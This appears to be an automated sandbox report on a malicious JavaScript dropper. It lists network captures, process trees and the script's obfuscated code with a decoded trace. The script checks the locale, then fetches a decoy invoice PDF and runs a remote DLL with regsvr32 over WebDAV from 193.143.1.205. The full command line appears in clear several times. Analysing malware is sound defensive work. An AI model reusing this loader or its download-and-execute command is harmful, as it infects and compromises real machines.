Jan 11, 2025 02:15:54.980355978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980369091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980381012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980401039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.980444908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:55.130465984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:55.485644102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:56.191982031 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:56.197174072 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:56.197284937 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:56.201782942 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:56.206741095 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:57.000756979 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:57.042785883 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:57.072897911 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:16:04.772321939 CET	53133	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:16:04.772321939 CET	192.168.2.4	1.1.1.1	0x1db1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:16:04.779447079 CET	1.1.1.1	192.168.2.4	0x1db1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:16:05.702399015 CET	1.1.1.1	192.168.2.4	0xa1d3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:05.702399015 CET	1.1.1.1	192.168.2.4	0xa1d3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4584	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:15:53.450479984 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:15:54.224327087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:15:54.224347115 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:15:54.224358082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:15:54.224371910 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 02:15:54.224380970 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:15:54.224438906 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:15:54.224459887 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:15:54.224540949 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:15:54.224647045 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 02:15:54.224657059 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 02:15:54.229327917 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	732	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:15:56.201782942 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:15:57.000756979 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:15:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js"
Imagebase:	0x7ff79da40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:15:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Imagebase:	0x7ff7a6520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:15:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:15:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:15:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:15:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a6520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:15:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff678d40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:15:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:15:56
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:15:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1612,i,11899374974407083053,10168938055786033090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kuksmuv() {	kuksmuv() ➔ undefined
1	bukdwx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var asunoox = this[sfrdzr + hrmokqoj + dqsclox + orbrb + ohxggvq + cvqfmss + unstq + tvkbpy] ( this[xazzkonze + ofybjk + yglhus + dqsclox + wynnmhyyb + sfrdzr + tvkbpy][qvfggrn + dqsclox + ohxggvq + hrmokqoj + tvkbpy + ohxggvq + klhmhvu + zmojdjox + uqldkxck + ohxggvq + yglhus + tvkbpy] ( xazzkonze + ofybjk + yglhus + dqsclox + wynnmhyyb + sfrdzr + tvkbpy + wcxemyagl + ofybjk + kyuxcnky + ohxggvq + rrkcdeh + rrkcdeh ) [nxgrbpqcl + ohxggvq + smbapmb + nxgrbpqcl + ohxggvq + hrmokqoj + zzqagrh] ( hsncuu + dsbxxukg + fbsvsbwyz + usycd + pgvxvm + qvfggrn + jcoipshza + nxgrbpqcl + nxgrbpqcl + fbsvsbwyz + qledkb + pgsdm + pgvxvm + jcoipshza + ofybjk + fbsvsbwyz + nxgrbpqcl + nirxebsj + qvfggrn + iflueorzd + unstq + tvkbpy + dqsclox + iflueorzd + rrkcdeh + fyxcgxkd + pyxzpge + hrmokqoj + unstq + ohxggvq + rrkcdeh + nirxebsj + cvqfmss + unstq + tvkbpy + ohxggvq + dqsclox + unstq + hrmokqoj + tvkbpy + wynnmhyyb + iflueorzd + unstq + hrmokqoj + rrkcdeh + nirxebsj + ggrkoaxle + iflueorzd + yglhus + hrmokqoj + rrkcdeh + ohxggvq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( trqbiuj = 0 ; trqbiuj < bukdwx[rrkcdeh + ohxggvq + unstq + smbapmb + tvkbpy + kyuxcnky] ; ++ trqbiuj )
4	{
5	if ( asunoox == bukdwx[trqbiuj] )
6	{
7	asunoox = true;
8	break ;
9	}
10	}
11	if ( asunoox !== true )
12	this[xazzkonze + ofybjk + yglhus + dqsclox + wynnmhyyb + sfrdzr + tvkbpy][ewskaz + qjtcc + wynnmhyyb + tvkbpy] ( );
13	this[xazzkonze + ofybjk + yglhus + dqsclox + wynnmhyyb + sfrdzr + tvkbpy][qvfggrn + dqsclox + ohxggvq + hrmokqoj + tvkbpy + ohxggvq + klhmhvu + zmojdjox + uqldkxck + ohxggvq + yglhus + tvkbpy] ( xazzkonze + ofybjk + yglhus + dqsclox + wynnmhyyb + sfrdzr + tvkbpy + wcxemyagl + ofybjk + kyuxcnky + ohxggvq + rrkcdeh + rrkcdeh ) [dqsclox + qjtcc + unstq] ( yglhus + aonac + zzqagrh + fyxcgxkd + vugeese + yglhus + fyxcgxkd + sfrdzr + iflueorzd + stuwnljme + ohxggvq + dqsclox + orbrb + kyuxcnky + ohxggvq + rrkcdeh + rrkcdeh + wcxemyagl + ohxggvq + ktuttlul + ohxggvq + fyxcgxkd + xlbow + qvfggrn + iflueorzd + aonac + aonac + hrmokqoj + unstq + zzqagrh + fyxcgxkd + ehjvlhg + cvqfmss + unstq + kzywv + iflueorzd + cnapjlf + ohxggvq + xlbow + xazzkonze + ohxggvq + zmojdjox + nxgrbpqcl + ohxggvq + uksybxyg + qjtcc + ohxggvq + orbrb + tvkbpy + fyxcgxkd + xlbow + klhmhvu + qjtcc + tvkbpy + yhkujqcb + wynnmhyyb + rrkcdeh + ohxggvq + fyxcgxkd + dkljc + tvkbpy + ohxggvq + aonac + sfrdzr + dkljc + nirxebsj + wynnmhyyb + unstq + kzywv + iflueorzd + wynnmhyyb + yglhus + ohxggvq + wcxemyagl + sfrdzr + zzqagrh + ptzoji + fyxcgxkd + kyuxcnky + tvkbpy + tvkbpy + sfrdzr + xrbvnzpfg + vugeese + vugeese + wkrny + hdrximzn + jrmvzuok + wcxemyagl + wkrny + hgrgihmg + jrmvzuok + wcxemyagl + wkrny + wcxemyagl + nvktozwj + edhkeoc + tiulq + vugeese + wynnmhyyb + unstq + kzywv + iflueorzd + wynnmhyyb + yglhus + ohxggvq + wcxemyagl + sfrdzr + kyuxcnky + sfrdzr + ehjvlhg + fnaqxtml + fnaqxtml + orbrb + tvkbpy + hrmokqoj + dqsclox + tvkbpy + fyxcgxkd + dkljc + tvkbpy + ohxggvq + aonac + sfrdzr + dkljc + nirxebsj + wynnmhyyb + unstq + kzywv + iflueorzd + wynnmhyyb + yglhus + ohxggvq + wcxemyagl + sfrdzr + zzqagrh + ptzoji + fnaqxtml + fnaqxtml + yglhus + aonac + zzqagrh + fyxcgxkd + vugeese + yglhus + fyxcgxkd + unstq + ohxggvq + tvkbpy + fyxcgxkd + qjtcc + orbrb + ohxggvq + fyxcgxkd + nirxebsj + nirxebsj + wkrny + hdrximzn + jrmvzuok + wcxemyagl + wkrny + hgrgihmg + jrmvzuok + wcxemyagl + wkrny + wcxemyagl + nvktozwj + edhkeoc + tiulq + nicwpuha + twihz + twihz + twihz + twihz + nirxebsj + zzqagrh + hrmokqoj + kzywv + stuwnljme + stuwnljme + stuwnljme + dqsclox + iflueorzd + iflueorzd + tvkbpy + nirxebsj + fnaqxtml + fnaqxtml + yglhus + aonac + zzqagrh + fyxcgxkd + vugeese + yglhus + fyxcgxkd + dqsclox + ohxggvq + smbapmb + orbrb + kzywv + dqsclox + jrmvzuok + nvktozwj + fyxcgxkd + vugeese + orbrb + fyxcgxkd + nirxebsj + nirxebsj + wkrny + hdrximzn + jrmvzuok + wcxemyagl + wkrny + hgrgihmg + jrmvzuok + wcxemyagl + wkrny + wcxemyagl + nvktozwj + edhkeoc + tiulq + nicwpuha + twihz + twihz + twihz + twihz + nirxebsj + zzqagrh + hrmokqoj + kzywv + stuwnljme + stuwnljme + stuwnljme + dqsclox + iflueorzd + iflueorzd + tvkbpy + nirxebsj + jrmvzuok + wkrny + twihz + hgrgihmg + jrmvzuok + jrmvzuok + nvktozwj + ymmdwpz + epxlicltk + edhkeoc + hgrgihmg + twihz + hgrgihmg + hgrgihmg + wcxemyagl + zzqagrh + rrkcdeh + rrkcdeh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll",0,false) ➔ 0
14	}
15	ehjvlhg = "x";
16	ehjvlhg = "E";
17	ehjvlhg = "d";
18	ehjvlhg = "p";
19	ehjvlhg = "b";
20	ehjvlhg = "P";
21	ehjvlhg = "g";
22	ehjvlhg = "I";
23	ehjvlhg = "b";
24	ehjvlhg = "O";
25	ehjvlhg = "e";
26	ehjvlhg = "q";
27	ehjvlhg = "I";
28	ehjvlhg = "i";
29	ehjvlhg = "O";
30	ehjvlhg = "J";
31	ehjvlhg = "f";
32	ehjvlhg = "e";
33	ehjvlhg = "I";
34	ehjvlhg = "y";
35	ehjvlhg = "K";
36	ehjvlhg = "w";
37	ehjvlhg = "z";
38	ehjvlhg = "V";
39	ehjvlhg = "l";
40	ehjvlhg = "T";
41	ehjvlhg = "d";
42	ehjvlhg = "o";
43	ehjvlhg = "o";
44	ehjvlhg = "f";
45	ehjvlhg = "E";
46	ehjvlhg = "W";
47	ehjvlhg = "V";
48	ehjvlhg = "P";
49	ehjvlhg = "G";
50	ehjvlhg = "P";
51	ehjvlhg = "q";
52	ehjvlhg = "O";
53	ehjvlhg = "C";
54	ehjvlhg = "S";
55	ehjvlhg = "q";
56	ehjvlhg = "w";
57	ehjvlhg = "\"";
58	tiulq = "P";
59	tiulq = "N";
60	tiulq = "i";
61	tiulq = "r";
62	tiulq = "i";
63	tiulq = "d";
64	tiulq = "Y";
65	tiulq = "q";
66	tiulq = "W";
67	tiulq = "u";
68	tiulq = "t";
69	tiulq = "E";
70	tiulq = "W";
71	tiulq = "h";
72	tiulq = "h";
73	tiulq = "z";
74	tiulq = "g";
75	tiulq = "5";
76	iflueorzd = "n";
77	iflueorzd = "K";
78	iflueorzd = "j";
79	iflueorzd = "W";
80	iflueorzd = "Q";
81	iflueorzd = "i";
82	iflueorzd = "V";
83	iflueorzd = "o";
84	kzywv = "f";
85	kzywv = "k";
86	kzywv = "v";
87	ktuttlul = "r";
88	ktuttlul = "Z";
89	ktuttlul = "u";
90	ktuttlul = "R";
91	ktuttlul = "w";
92	ktuttlul = "k";
93	ktuttlul = "V";
94	ktuttlul = "D";
95	ktuttlul = "f";
96	ktuttlul = "v";
97	ktuttlul = "c";
98	ktuttlul = "u";
99	ktuttlul = "V";
100	ktuttlul = "z";
101	ktuttlul = "n";
102	ktuttlul = "N";
103	ktuttlul = "G";
104	ktuttlul = "M";
105	ktuttlul = "f";
106	ktuttlul = "o";
107	ktuttlul = "f";
108	ktuttlul = "W";
109	ktuttlul = "G";
110	ktuttlul = "H";
111	ktuttlul = "u";
112	ktuttlul = "J";
113	ktuttlul = "S";
114	ktuttlul = "J";
115	ktuttlul = "B";
116	ktuttlul = "A";
117	ktuttlul = "Q";
118	ktuttlul = "F";
119	ktuttlul = "c";
120	ktuttlul = "g";
121	ktuttlul = "M";
122	ktuttlul = "a";
123	ktuttlul = "x";
124	ptzoji = "F";
125	ptzoji = "G";
126	ptzoji = "b";
127	ptzoji = "l";
128	ptzoji = "N";
129	ptzoji = "f";
130	ptzoji = "J";
131	ptzoji = "P";
132	ptzoji = "M";
133	ptzoji = "l";
134	ptzoji = "x";
135	ptzoji = "r";
136	ptzoji = "r";
137	ptzoji = "Y";
138	ptzoji = "h";
139	ptzoji = "W";
140	ptzoji = "k";
141	ptzoji = "G";
142	ptzoji = "f";
143	yglhus = "k";
144	yglhus = "G";
145	yglhus = "u";
146	yglhus = "W";
147	yglhus = "Q";
148	yglhus = "d";
149	yglhus = "q";
150	yglhus = "D";
151	yglhus = "S";
152	yglhus = "F";
153	yglhus = "I";
154	yglhus = "J";
155	yglhus = "k";
156	yglhus = "N";
157	yglhus = "Q";
158	yglhus = "V";
159	yglhus = "s";
160	yglhus = "k";
161	yglhus = "g";
162	yglhus = "b";
163	yglhus = "I";
164	yglhus = "p";
165	yglhus = "G";
166	yglhus = "P";
167	yglhus = "O";
168	yglhus = "b";
169	yglhus = "c";
170	epxlicltk = "d";
171	epxlicltk = "T";
172	epxlicltk = "s";
173	epxlicltk = "K";
174	epxlicltk = "x";
175	epxlicltk = "v";
176	epxlicltk = "U";
177	epxlicltk = "d";
178	epxlicltk = "R";
179	epxlicltk = "h";
180	epxlicltk = "O";
181	epxlicltk = "7";
182	nicwpuha = "z";
183	nicwpuha = "m";
184	nicwpuha = "D";
185	nicwpuha = "x";
186	nicwpuha = "D";
187	nicwpuha = "m";
188	nicwpuha = "c";
189	nicwpuha = "J";
